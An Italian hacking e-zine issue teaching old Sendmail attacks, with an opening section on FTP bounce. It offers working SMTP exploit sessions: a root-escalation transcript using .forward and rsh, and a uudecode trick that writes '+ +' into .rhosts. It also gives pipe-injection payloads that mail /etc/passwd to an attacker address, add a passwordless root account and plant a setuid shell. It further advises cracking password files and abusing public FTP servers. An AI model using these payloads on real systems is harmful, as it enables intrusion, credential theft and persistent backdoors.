<=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=>
      <=-=>                                                       <=-=>
      <=-=>                  -=> Lord Shinva <=-                  <=-=>
      <=-=>                                                       <=-=>
      <=-=>                  -DiGiTAL::ALLiANCE-                  <=-=>
      <=-=>                                                       <=-=>
      <=-=>   C : 0 . N : F . E : D . E : R . A : T . i : 0 . N   <=-=>
      <=-=>                                                       <=-=>
      <=-=>                                                       <=-=>
      <=-=>              Enciclopedia dell' Hacking               <=-=>
      <=-=>              ``````````````````````````               <=-=>
      <=-=>                   .:[ Volume 7 ]:.                    <=-=>
      <=-=>                                                       <=-=>
      <=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=><=-=>



TECNICHE AVANZATE: SENDMAIL
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sarete felici di sapere che questo e` l'ultimo volume sulle tecniche
fondamentali e gli exploit.  Dal prossimo inizieremo con l'hacking vero e
proprio, e metteremo in pratica (con grande dolore da parte dei SysAdmin)
quello che faremo di volta in volta.  Ovviamente mi aspettero` che ora che
avete abbastanza informazioni di base abbiate chiari concetti come server e
client, FakeMail, come fare piccole cose come trovare la versione di un
server, ecc.  Se qualcosa non dovesse essere chiaro, non esitate a scrivermi
e ad esporre il problema.  Cerchero` di rispondervi non appena avro` trovato
abbatanza tempo.  NON chiedetemi qual'e` la password di un sito xxx o dove
trovare la versione pirata di un gioco.  Siamo hackers, non pirati.

Qualcuno mi ha chiesto perche` sto scrivendo questa "enciclopedia".
Beh, forse perche` e` quello che ho sempre cercato e non ho mai trovato
quando volevo imparare l'hacking... e poi credo che sia molto piu` completa
di quei piccoli files sulle basi dell'hacking scritti da hackers, per
hackers.  Ma quale sarebbe lo scopo?  Se uno e` gia` hacker, non ha bisogno
di imparare le basi di quello che conosce gia`... okay, parentesi chiusa.

Quello che partira` dal prossimo volume sara` pertanto un vero e proprio
corso di hacking a puntate (con tanto di supporto via email), dedicato a
tutti coloro che mi hanno scritto e hanno creduto in questo progetto di
divulgazione, siano essi hackers o wannabe (futuri hackers, speriamo).

Iniziamo dunque questo ultimo volume sulle tecniche con una breve descrizione
del servizio di posta elettronica di Unix.

Il programma server che risponde a chi si collega alla porta SMTP (25) e`
chiamato Sendmail.  Come abbiamo visto in un precedente volume, all'atto del
collegamento via Telnet avremo una risposta di questo genere:

220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT

(il numero di versione di un server lo troviamo anche sbirciando tra gli
headers delle emails che riceviamo quotidianamente).

I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la
versione del server SMTP.  Mettiamo una volta per tutte in chiaro che SMTP e`
il nome del servizio (della porta 25) e Sendmail e` il nome del programma che
si occupa di gestire SMTP: in pratica Sendmail e` il server SMTP di Unix.

Dunque, perche` dovremmo voler conoscere il numero di versione di Sendmail?

Sendmail e` famoso tra gli hackers come il programma piu` "bacato" esistente.
Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche
quelle piu` nuove) hanno un qualche bug che un hacker puo` sfruttare per
guadagnare illecitamente accesso a un sistema.

E il bello e` il modo in cui lo si fa; non tramite una password o chissa`
cosa, ma dalla parte piu` "innocua" di un sistema informatico: la posta
elettronica!

Vogliamo vedere cosa si puo` fare con Sendmail? :)

Iniziamo con le sottoversioni della 8.6 (piu` precisamente le 8.6.6 e 8.6.7).
Vogliamo una shell root?  Niente di piu` facile: bastera` chiamare il
programma Sendmail con il parametro -d seguito da un numero molto grande,
come nel seguente esempio:

   Sendmail -d3344556677

Se non avete un accesso diretto al server (e quindi state "lavorando" da
remoto) avrete bisogno di una shell per "chiamare" Sendmail.
Come ottenerla sara` oggetto dei prossimi volumi, ma se andate di fretta
potete sempre prendere un file passwd o shadow e crackarlo per avere accesso
shell.  L'ideale sarebbe un account di quale Universita`...
Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per
eseguire il comando senza bisogno di shell interattiva.
Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia,
prima di mettere in pratica... ancora non sapete come nascondervi in un
sistema, quindi non abbiate fretta.  Se proprio volete testare qualcosa,
procuratevi Linux (se non l'avete gia`), installatelo sul VOSTRO computer e
provate.

Per la cronaca, la sottoversione 8.6.9 non e` vulnerabile a quest'attacco, ma
anche qui si puo` avere una shell root, utilizzando un exploit che si trova
sui siti per hackers.  Si tratta di un programmino in C (creato da Atreus).
Non lo includo perche` dalla versione 8.6.12 (compresa) in poi tale exploit
non funziona.

NOTA: la maggior parte dei problemi di sicurezza vengono fatti notare e molto
spesso anche risolti proprio dagli hackers.  Se non ci fossero gli hackers
saremmo rimasti a versioni... preistoriche, dove bastava scrivere WIZ per
avere tutto un computer ai propri comandi.  Un motivo in piu` per smettere di
prendersela con noi se si assume personale incapace di gestire seriamente un
sistema informatico, sia esso in rete o meno.

Ci sono molte altre versioni 8.x.x bacate, ma poiche` si tratta di piccoli
bug tutti diversi e` consigliabile cercare quello che interessa sul sito
di 8lgm (http://www.8lgm.org), che elenca tutti i bug e ne da` un hack
completo per ciascuno, o su L0pht (http://www.l0pht.com).

Unix assegna un livello utente (UID, cioe` User IDentifier) e un livello di
gruppo (GID, cioe` Group IDentifier) a ciascun utente.
Un UID pari a 0 e` (quasi sempre) un utente root.
Se ad esempio nel file passwd di un sito troviamo...

   root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh

il primo numero (0) e` UID e il secondo (0) e` GID.

E` possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e
diventare root :)  Supponiamo infatti di aver crackato la password di un
utente qualsiasi, ma di non riuscire ad accedere a root... come fare?
Utilizzando questo hack sul Sendmail.  Bisognera` innanzitutto avere accesso
a una shell; molti utenti hanno una shell, anche se limitata, ma servira`
allo scopo.  Se proprio non riuscite a procurarvene una, collegatevi a una
delle tantissime BBS via Telnet presenti su Internet.  Esse sono quasi sempre
ad accesso gratuito e usano sistemi Unix, con tanto di shell per gli utenti.
Non sono shell root... ma sapremo accontentarci, dal momento che da una
shell ad accesso limitato si puo` arrivare a root.
Alcuni siti, come quello di Lord Somer (http://www.ilf.net/LordSomer/), hanno
intere liste di BBS Telnet.  Dovete solo scegliere quella che preferite.

Dicevamo, come forzare UID a 0 ora che abbiamo una shell?
Digitando quanto segue:

% cat ~/.forward                                     <-- noi
                                                     <-- noi
miosito.com miousername                              <-- noi
^D                                                   <-- noi (premere Ctrl-D)
% smail -bs -D ~root/.rhosts -v20                    <-- noi
220 provider.com Sendmail x.x.x.x ready ecc...       <-- server
expn root                                            <-- noi
250                                            <-- server
quit                                                 <-- noi
% rsh -l root lamesite.com tcsh\ -i                  <-- noi
WARNING: no access to TTY (bad file number)          <-- server
# id                                                 <-- noi
UID=0 GID=0                                          <-- server

Nell'ultima riga, quando scriviamo il comando ID, il server risponde che il
nostro UID e il nostro GID sono uguali a 0... il che significa... beh, lo
avete capito =)

I vecchi server Sendmail (versioni 5.xx) hanno dei bug estremamente gravi;
basti pensare alla versione 5.64 che permette di sfruttare il programma
"decode" (uudecode) di Unix per "eliminare" l'accesso tramite password.
In pratica, inviando una FakeMail (con Telnet) di questo tipo:

HELO hacker.com
MAIL FROM: bin
RCPT TO: decode
DATA
begin 644 /usr/bin/.rhosts
$*R`K"@``
`
end
.
QUIT

sara` poi possibile utilizzare un client rlogin per collegarsi senza bisogno
di password.  Ma come e` stato possibile?  Quello che e` successo e` questo:
il file .rhosts di Unix contiene una lista di hostname e username ai quali
e` consentito l'accesso.  Mettendo un + al posto di hostname e username si
consente l'accesso a chiunque, ed e` esattamente questo cio` che abbiamo
fatto: la linea dopo "begin 644..." non e` altro che tale comando (+ +)
codificato con il programma encode (uuencode).  Inviando questa FakeMail a
decode (uudecode) quel codice verra` ritrasformato in "+ +" e scritto nel
file /usr/bin/.rhosts (vedi sopra).
Bastera` dunque procurarsi un client rlogin per accedere tranquillamente al
server...

La versione 5.65 di Sendmail (la successiva a quella appena vista, creata
per risolvere quel problema) e` ancora piu` pericolosa... ;)
Infatti basta inviare via Telnet i seguenti comandi:

HELO hackers.com
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
RCPT TO: prova
DATA
From: [email protected]
Return-Receipt-To: |nessuno

#!/bin/sh
COMANDI
.
QUIT

Al posto di "COMANDI" vanno inseriti uno o piu` comandi shell (su righe
separate), come ad esempio:

   /bin/mail [email protected] < /etc/passwd

per inviare a voi stessi il file /etc/passwd (o qualsiasi altro), oppure:

   echo prova::0:0::/:/bin/sh >> /etc/passwd

per aggiungere l'account "prova" (con accesso root, senza password, con shell
root e accesso a tutto l'hard disk....) al file /etc/passwd (notate i due >>
anziche` uno solo).  O ancora:

   chmod 777 /etc/passwd

per rendere il file /etc/passwd (o altro) prelevabile senza restrizioni, o:

   cp /bin/sh /tmp/pirata
   chmod 6777 /tmp/pirata

dove nella prima riga copiamo (cp) la shell (/bin/sh) nella directory /tmp
col nome di "pirata" (vi consiglio di cambiare questo nome :)
Nella seconda riga diamo accesso al file /tmp/pirata a chiunque, anche a un
utente qualunque.  Tale file non e` altro, come abbiamo visto, che la shell.
Quindi bastera` andare in /tmp ogniqualvolta vi servira` una shell root, e
digitare "pirata" per invocare la shell ed eseguire un qualsiasi comando.

Un altro hack famoso e` quello dell'attacco del pipe, funzionante su versione
5.56 (e altre).  Funziona cosi`: si prepara una semplice FakeMail del tipo...

HELO hacker.com
MAIL FROM:<"|/bin/mail [email protected] < /etc/passwd">
RCPT TO:<"[email protected]">
DATA
questa e` una prova...
.
QUIT

e, se il server e` vulnerabile, riceveremo il file /etc/passwd via e-mail.
Naturalmente si potra` usare qualsiasi comando dopo il pipe (il "|").


TECNICHE AVANZATE: FTP BOUNCE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Passiamo ora a qualcosa di veramente interessante: FTP.  Vi chiederete: ma
FTP non serve solo a trasferire i file?
La risposta e` no.  Beh, dovrebbe essere si... ma sapete com'e`... un hacker
e` un po` come un bambino curioso che si diverte di piu` a "smontare" un
giocattolo che a usarlo per quello a cui servirebbe =)

Innanzitutto sappiate che FTP altro non e` che una sessione di Telnet con
qualche piccolo extra in piu` (il trasferimento di file).

Esistono infatti dei comandi "interni", come abbiamo visto per SMTP, e quindi
anche FTP e` gestibile (in parte) tramite Telnet.

La tecnica che ci accingiamo a studiare e` detta "FTP Bounce" (rimbalzo
dell'FTP).

Vi servira` innanzitutto un server FTP che vi permetta di inviare e prelevare
files da una directory qualsiasi.  Potete tranquillamente trovare tali server
cercando la parola "warez" (software commerciale piratato) con un motore di
ricerca di files come "FTP Search" (http://ftpsearch.ntnu.no/ftpsearch),
oppure "Filez" (http://www.filez.com); prendete nota anche della directory
che verra` visualizzata accanto al nome del server che la contiene.

Ora provate a collegarvi a uno di quei server, ed a entrare nella directory
"warez" (o un'altra in cui si possano leggere e scrivere i files).  Provate
a inviare un file di prova e a prelevarlo di nuovo, per controllare se e`
questo il server "giusto".  Se tutto funziona, lo avete trovato, altrimenti
usatene un altro (ce ne sono moltissimi).

Questo server sara` la vostra "base".  In tutti gli attacchi che effettuerete
verra` visualizzato l'IP Address di questo server, anziche` il vostro.

Ora studiamo il funzionamento dell'attacco, in modo da poterlo adattare a
qualsiasi nostro bisogno, per poter magari anche inventare nuovi metodi di
utilizzo a seconda delle necessita`.

Dovremo innanzitutto creare un file (vedremo tra poco come) che contenga i
comandi che vogliamo far eseguire (in base a cio` che vogliamo fare).
Non preoccupatevi ora del suo contenuto.  Per ora ci interessa solo studiare
il funzionamento della tecnica, e poi procedere con gli esempi.

Ora ci servira` un normale programma client FTP (come Cute-FTP e WS-FTP se
usate Windows, oppure il comando FTP di Linux).  Lo useremo per inviare il
file di cui sopra nel server "base" che abbiamo scelto prima.

Una volta inviato il nostro file, chiuderemo FTP e passeremo a Telnet.
La porta di FTP e` la numero 21.  Colleghiamoci dunque al server "base" alla
porta 21 e aspettiamo una risposta.  Ora potremo inserire i comandi:

   USER anonymous
   PASS [email protected]

e, se l'accesso anonimo e` abilitato (come succede nel 90% dei casi), il
server rispondera` qualcosa come "User anonymous logged in".  Siamo dentro.

Dobbiamo ora conoscere l'IP Address del server da attaccare.  Percio` avremo
bisogno di un programma DNS per risalire dall'host name all'IP Address.